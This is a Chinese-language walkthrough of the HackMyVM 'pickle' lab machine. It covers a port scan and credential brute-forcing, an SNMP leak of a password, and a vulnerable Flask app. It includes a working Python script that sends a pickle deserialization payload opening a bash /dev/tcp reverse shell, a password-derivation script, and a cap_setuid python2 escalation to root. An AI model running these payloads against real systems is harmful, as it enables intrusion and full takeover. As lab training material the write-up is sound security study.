hackmyvm-pickle

admin 2025年3月18日22:14:42评论6 views字数 8500阅读28分20秒阅读模式

hackmyvm-pickle

扫描记录

λ zscan -192.168.69.16 -1-65535]2025/03/07 22:28:47 本次扫描用户屏蔽的端口:[25 110 9100 9101 9102 9103]Tips: 可以使用-Pn参数关闭存活性探测,将会将所有主机视为存活[+]2025/03/07 22:28:47 当前环境为:windows, 输出编码为:utf-8[+]2025/03/07 22:28:47 hydra模块已开启,开始监听暴力破解任务[ ]2025/03/07 22:28:47 当前已开启的hydra模块为:[ssh rdp ftp smb telnet mysql mssql oracle postgresql mongodb redis] [+]2025/03/07 22:28:47 成功加载HTTP指纹:[26553]条 [+]2025/03/07 22:28:47 成功加载NMAP探针:[150]个,指纹[11916]条 [ ]2025/03/07 22:28:47 未检测到qqwry.dat,将关闭CDN检测功能,如需开启,请执行kscan --download-qqwry下载该文件[+]2025/03/07 22:28:48 DomainIPPortURLHydra引擎已准备就绪[+]2025/03/07 22:28:48 所有扫描任务已下发完毕ftp://192.168.69.16         ftp                        Port:21,OperatingSystem:Unix,DeviceType:v,Digest:"220(vsFTPd3.0.3)rn",ProductName:vsftpd,Version:3.0.3,Length:20[+] ftp 192.168.69.16:21:anonymous anonymous[->].[->]..[->]init.py.bak[+] ftp 192.168.69.16:21:ftp ftp[->]. [->].. [->]init.py.bakftp://192.168.69.16         CrackSuccess               Password:ftp,Username:ftp,Length:0snmp://192.168.69.16       snmp                       Hostname:pickle,Port:161,Length:49,ProductName:SNMPv1server,Info:public,Digest:"0/public"L3V00+picklehttp://192.168.69.16                                 Port:1337,Digest:"loginwithpropercrede,Length:300[ ] WebTitle http://192.168.69.16 code:401 len:90     title:None [debug]主路径扫描结果 [http://192.168.69.16] [*]2025/03/07 22:30:00 当前存活协程数:Domain:0 个,IP:1 个,Port:242 个,URL:0 个,Hydra:0 个 [+]2025/03/07 22:30:17 程序执行总时长为:[1m30.2725618s]

开了21,161,1337

21里面有代码,1337是http ,161是snmp

代码如下

from functools import wrapsfrom flask import *import hashlibimport socketimport base64import pickleimport hmacapp = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")@app.route('/', methods=["GET", "POST"])def index_page():'''__index_page__()'''if request.method == "POST" and request.form["story"] and request.form["submit"]:md5_encode = hashlib.md5(request.form["story"]).hexdigest()paths_page  = "/opt/project/uploads/%s.log" %(md5_encode)write_page = open(paths_page, "w")write_page.write(request.form["story"])return "The message was sent successfully!"return render_template("index.html")@app.route('/reset', methods=["GET", "POST"])def reset_page():'''__reset_page__()'''pass@app.route('/checklist', methods=["GET", "POST"])def check_page():'''__check_page__()'''if request.method == "POST" and request.form["check"]:path_page    = "/opt/project/uploads/%s.log" %(request.form["check"])open_page    = open(path_page, "rb").read()if "p1" in open_page:open_page = pickle.loads(open_page)return str(open_page)else:return open_pageelse:return "Server Error!"return render_template("checklist.html")if name == '__main__':app.run(host='0.0.0.0', port=1337, debug=True)

可以看到checklist里有个pickle.load 反序列化点,且没有什么waf

但直接访问1337发现要http认证,密码没试出来

检查一下snmp服务,查看一下怎么打

说是使用snmpwalk -c public -v 1 192.168.69.16 . 

ctf@incc:/mnt/c/Users/msthe$ snmpwalk -c public -v 1 192.168.69.16 . iso.3.6.1.2.1.1.1.0 = STRING: "Linux pickle 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64" iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10 iso.3.6.1.2.1.1.3.0 = Timeticks: (139830) 0:23:18.30 iso.3.6.1.2.1.1.4.0 = STRING: "lucas:SuperSecretPassword123!" iso.3.6.1.2.1.1.5.0 = STRING: "pickle" iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay" iso.3.6.1.2.1.1.7.0 = INTEGER: 72

写个pickle反弹shell

#coding:utf-8import osimport cPickleimport hashlibimport requestsclass CommandExecute(object):        def __reduce__(self):                return (eval, ("__import__('os').system('bash -c "exec bash -i &>/dev/tcp/192.168.69.1/4444 <&1"')",))                # return (os.system, ("bash -c 'exec bash -i &>/dev/tcp/192.168.69.1/4444 <&1'",))convert_data = cPickle.dumps(CommandExecute())assert 'p1' in convert_dataconvert_crypt = hashlib.md5(convert_data).hexdigest()send_requests = requests.post('http://192.168.69.16:1337/', data={"story":convert_data, "submit":"Submit+Query"}, auth=("lucas", "SuperSecretPassword123!"))check_requests = requests.post('http://192.168.69.16:1337/checklist', data={"check":convert_crypt}, auth=("lucas", "SuperSecretPassword123!"))print(check_requests.text)

反弹后,是lunas用户,没有flag,看看app.py源码

from functools import wrapsfrom flask import *import hashlibimport socketimport base64import pickleimport hmacapp = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")def check_auth(username, password):       """This function is called to check if a username /       password combination is valid.       """       return username == 'lucas' and password == 'SuperSecretPassword123!'def authenticate():       """Sends a 401 response that enables basic auth"""       return Response(       'Could not verify your access level for that URL.n'       'You have to login with proper credentials'401,       {'WWW-Authenticate''Basic realm="Pickle login"'})def requires_auth(f):       @wraps(f)       def decorated(*args, **kwargs):           auth = request.authorization           if not auth or not check_auth(auth.username, auth.password):               return authenticate()           return f(*args, **kwargs)       return decorated@app.route('/', methods=["GET""POST"])@requires_authdef index_page():        '''                __index_page__()        '''        if request.method == "POST" and request.form["story"and request.form["submit"]:                md5_encode = hashlib.md5(request.form["story"]).hexdigest()                paths_page  = "/opt/project/uploads/%s.log" %(md5_encode)                write_page = open(paths_page, "w")                write_page.write(request.form["story"])                return "The message was sent successfully!"        return render_template("index.html")@app.route('/reset', methods=["GET""POST"])@requires_authdef reset_page():        '''                __reset_page__()        '''        if request.method == "POST" and request.form["username"and request.form["key"]:                key    = "dpff43f3p214k31301"                raw    = request.form["username"] + key + socket.gethostbyname(socket.gethostname())                hashed = hmac.new(key, raw, hashlib.sha1)                if request.form["key"] == hashed.hexdigest():                        return base64.b64encode(hashed.digest().encode("base64").rstrip("n"))        else:                return "Server Error!"        return render_template("reset.html")@app.route('/checklist', methods=["GET""POST"])@requires_authdef check_page():        '''                __check_page__()        '''        if request.method == "POST" and request.form["check"]:                path_page    = "/opt/project/uploads/%s.log" %(request.form["check"])                open_page    = open(path_page, "rb").read()                if "p1" in open_page:                        open_page = pickle.loads(open_page)                        return str(open_page)                else:                        return open_page        else:                return "Server Error!"        return render_template("checklist.html")@app.route('/console')@requires_authdef secret_page():        return "Server Error!"if __name__ == '__main__':        app.run(host='0.0.0.0', port=1337, debug=True)

reset返回的东西似乎是密码

可以试一试

import hashlibimport socketimport base64import hmacuser=['lucas', 'mark']for i in user:    key = "dpff43f3p214k31301"    raw = i + key + "127.0.1.1"    hashed = hmac.new(key, raw, hashlib.sha1)    print("[+] USER:",i)    print(base64.b64encode(hashed.digest().encode("base64").rstrip("n")))

('[+] USER:', 'lucas') YTdYYTB1cDFQOTBmeEFwclVXZVBpTCtmakx3PQ== ('[+] USER:', 'mark') SUk5enROY2FnUWxnV1BUWFJNNXh4amxhc00wPQ==

别问怎么想到的,看writeup想到的。

hackmyvm-pickle

拿下user.txt - e25fd1b9248d1786551e3412adc74f6f

hackmyvm-pickle

找一下提权

find / -perm -4000 -type f 2>/dev/null /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/openssh/ssh-keysign /usr/bin/pkexec /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/mount /usr/bin/passwd /usr/bin/chfn /usr/bin/chsh /usr/bin/umount /usr/bin/su

getcap -r / 2>/dev/null /home/mark/python2 = cap_setuid+ep /usr/bin/ping = cap_net_raw+ep mark@pickle:~$

python2很明显可疑提权

/home/mark/python2 -c 'import os; os.setuid(0); os.system("/bin/bash")'

hackmyvm-pickle

拿下root.txt-7a32c9739cc63ed983ae01af2577c01c

总结:

  1. 扫描记录

    • 使用 zscan 工具对 IP 192.168.69.16 进行了端口扫描,扫描范围为 1-65535
    • 用户屏蔽了端口 [25, 110, 9100, 9101, 9102, 9103]
    • 当前环境为 Windows,输出编码为 UTF-8。
    • 开启了 hydra 模块,支持暴力破解 sshrdpftpsmbtelnetmysqlmssqloraclepostgresqlmongodbredis 等服务。
    • 成功加载了 HTTP 指纹和 NMAP 探针。
    • 未检测到 qqwry.dat 文件,关闭了 CDN 检测功能。
  2. 扫描结果

    • 发现开放的端口:21 (FTP)161 (SNMP)1337 (HTTP)
    • FTP 服务运行在 vsftpd 3.0.3 上,支持匿名登录。
    • SNMP 服务返回了主机名 pickle,并且暴露了密码 SuperSecretPassword123!
    • HTTP 服务运行在端口 1337,需要 HTTP 认证。
  3. 代码分析

    • HTTP 服务运行了一个 Flask 应用,路径 /checklist 存在反序列化漏洞(pickle.loads)。
    • 通过 SNMP 服务获取了 HTTP 认证的用户名 lucas 和密码 SuperSecretPassword123!
  4. 漏洞利用

    • 利用反序列化漏洞,构造了一个反弹 Shell 的 Payload,成功获取了 lunas 用户的 Shell。
    • 通过分析 Flask 应用的源码,发现 /reset 路径可以生成密码的 Base64 编码。
    • 使用生成的密码成功登录并获取了 mark 用户的权限。
  5. 提权

    • 发现 /home/mark/python2 具有 cap_setuid+ep 权限,利用该权限成功提权至 root
    • 最终获取了 root.txt 文件的内容。

关键点:

  • SNMP 信息泄露
    :通过 SNMP 服务获取了 HTTP 认证的凭据。
  • 反序列化漏洞
    :利用 Flask 应用的反序列化漏洞获取了初始 Shell。
  • 提权
    :通过具有 cap_setuid+ep 权限的 Python 解释器成功提权至 root

结论:

通过扫描、漏洞利用和提权,成功获取了目标系统的完整控制权限,并获取了 user.txt 和 root.txt 文件的内容。

原文始发于微信公众号(BlueIris):hackmyvm-pickle

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月18日22:14:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   hackmyvm-picklehttps://cn-sec.com/archives/3816388.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息